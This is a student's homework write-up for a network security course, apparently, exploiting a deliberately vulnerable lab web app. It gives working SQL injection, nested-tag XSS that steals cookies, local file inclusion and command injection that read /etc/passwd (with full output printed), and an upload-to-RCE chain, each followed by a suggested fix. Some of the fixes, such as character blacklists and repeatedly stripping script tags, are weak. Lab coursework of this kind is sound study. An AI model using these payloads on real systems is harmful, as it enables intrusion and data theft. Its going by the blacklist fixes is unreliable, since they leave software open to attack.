Hugh Hoang 1833106

Computer

192.168.1.123

<http://192.168.1.123/index.php>

Laptop

172.25.15.28

<http://172.25.15.28/index.php>

For each problem, please explain your solution and—where requested—describe how you

would fix or avoid the vulnerability.

As your solution, submit the exploit and briefly describe how to fix or avoid this vulnerability.

**Problem 1**

$username . " '; INSERT INTO users (username, password) VALUES('user', 'pass');

SELECT password FROM users WHERE username = ' " . $username

Because I know from dologin.php on line 8 that it uses a sql query to find information for the password, this means that i can use a sql injection to keep the original sql statement the same as well as adding my own query which in this case inserts into the users database my own username and password (user,pass). So I am trying to replace $username with my own code so I closed the original statement with “$username . " '; “, inserted my user and repeated the code because there was leftover parenthesis. I then am able to login with user as username and pass as password.

To fix this I would use prepared SQL statements which means that statements can be parsed and optimized only once and cannot be changed using SQL injection. I would then create a statement template using prepare() and supply values for the parameters using execute(). I could also just filter common sql characters such as & | ; $ > < ` \ !.

**Problem 2**

<s<scriptcript>alert(document.cookie);</script>

username=user; token=1a1dc91c907325c69271ddf0c944bc72

Because I know from forum.php on line 16 that it can use the javascript script tag, that means that I can carry out a script to find information using cookies, this means that I can trick the server into running my own script using the <script> tag. I can tell from on line 16, that it clears all occurrences of <script> but only does it once so if I can put a script inside another script like this <s<scriptcript>, then that means it will find that there is only one script, remove it, then allow it. So by nest the script it will then by removing the first script create a script then I can use the javascript alert to alert the document.cookie.

This is an example of a stored XSS which means that the attacker tricks the web server into storing and serving a malicious script. I would fix this problem by creating a while loop that would keep removing <script> until it cannot be found in the string anymore, but you could also remove or encode all special HTML characters or validate and filter all input data.

**Problem 3**

<http://192.168.1.123/index.php?theme=/etc/passwd>

Result of

<html>

<head>

<title>Network Security Homework 4</title>

<style>

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

\_apt:x:105:65534::/nonexistent:/bin/false

messagebus:x:106:110::/var/run/dbus:/bin/false

postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

aron:x:1000:1000:aron,,,:/home/aron:/bin/bash

sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin

student:x:1001:1001:,,,:/home/student:/bin/bash

problem4:x:1002:1002:,,,:/home/problem4:/bin/bash

</style>

</head>

<body style="background: gray; font-family: Arial;">

<div id="container" style="width: 1000px; margin-left: auto; margin-right: auto; margin-top: 0px; padding: 1em;"><h1>Welcome!</h1>

<h2><a href="forum.php">Forum</a></h2>

<h2><a href="gallery.php">Gallery</a></h2>

<form action="index.php" method="GET">

Theme: <select name="theme">

<option value="light.css">light</option>

<option value="dark.css">dark</option>

</select>

<input type="submit" value="Select" />

</form>

<div style="width: 80%; text-align: center; margin-top: 1em; margin-left: auto; margin-right: auto; border-top: 1px solid black; padding-top: 0.5em;">

You are logged in as <span style="font-weight: bold;">user</span>. Click <a href="logout.php">here</a> to log out. </div>

</div>

</body>

</html>

Because I can tell when I change the theme from light to dark by pressing the button that it changes to <http://192.168.1.123/index.php?theme=dark.css> then looking at header.php, I can tell that header.php sets the cookies based on what theme= is. So if I set the theme=/etc/passwd then that means it can access the file passwd following the path /var/www/etc/ where /var/www/ is already set in header.php and then by using view page source that means that I can read the file accessed giving me classified information.

This is a Local File Inclusion which is an attack technique in which attackers trick a web application into either running or exposing files on a web server. I would use better server instructions which would make the server send download headers automatically instead of executing files in a specified directory, I could also use ID assignment, whitelisting, or use databases.

**Problem 4**

<http://172.25.15.28/gallery.php?removeImage=upload1921991057;cat%20/etc/passwd>;

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false \_apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash aron:x:1000:1000:aron,,,:/home/aron:/bin/bash sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin student:x:1001:1001:,,,:/home/student:/bin/bash problem4:x:1002:1002:,,,:/home/problem4:/bin/bash

Image removed!

Because I can tell from line 17 of gallery.php that system("rm /var/www/html/images/" . $\_GET['removeImage']);. I can tell that the system will remove whatever I input for removeImage from the path /var/www/html/images/, but more importantly that it uses system commands which I can close with a semicolon. I can then run my own command which reads the contents in /etc/passwd which displays sensitive information.

Just like what I could do for sql injection and use input validation and remove characters used for command code such as & | ; $ > < ` \ ! so that they cannot run any command code.

**Problem 5**

327048908.jpg

<http://192.168.1.123/index.php?theme=/var/www/html/images/upload327048908.jpg>

Congratulations, you are running your malicious script on the webserver! You can have the server execute an arbitrary system command by sending the command in the GET parameter command of this request.

Because I can tell from line 23 of gallery.php that the code only checks if the file ends with .jpg or is extension .jpg, then that means that if I just write malicious php code into notepad, save it as a name that ends with .jpg, and upload it then the server does accept it. I can then open the jpg in a new tab, take note of the new jpg name and path which is /images/upload327048908.jpg and use the file inclusion from problem 3 to run it. I can read the file by setting theme=/var/www/html/images/upload327048908.jpg which /var/www/html/ is the proper path for it and just like in problem 4, you can set command from shellcode to be cat /etc/passwd which will run the command and return sensitive information.

One solution for this is that in the case of an image upload function, the server might try to verify certain intrinsic properties of an image, such as its dimensions so if you try uploading a PHP script, for example, it won't have any dimensions at all. Therefore, the server can deduce that it can't possibly be an image, and reject the upload accordingly.

**Problem 6**

$keyword); ?>" /><s<scriptcript>alert(document.cookie);</script>

username=user; token=1a1dc91c907325c69271ddf0c944bc72

Because I know from search.php on line 18 that it can use the javascript script tag, that means that I can carry out a script to find information using cookies, this means that I can trick the server into running my own script using the <script> tag. I also need to add $keyword); ?>" to replace the close the first attribute and then > to close the tag. Now I can tell from on line 10, that it clears all occurrences of <script> but only does it once so if I can put a script inside another script like this <s<scriptcript>, then that means it will find that there is only one script, remove it, then allow it which is just like problem 2. So by nesting the script it will then by removing the first script create a script then I can use the javascript alert to alert the document.cookie.

This is an example of a reflected XSS which means that the attacker tricks a client into sending a malicious script. I would fix this problem by doing the same as problem 2 which is creating a while loop that would keep removing <script> until it cannot be found in the string anymore, but you could also remove or encode all special HTML characters or validate and filter all input data.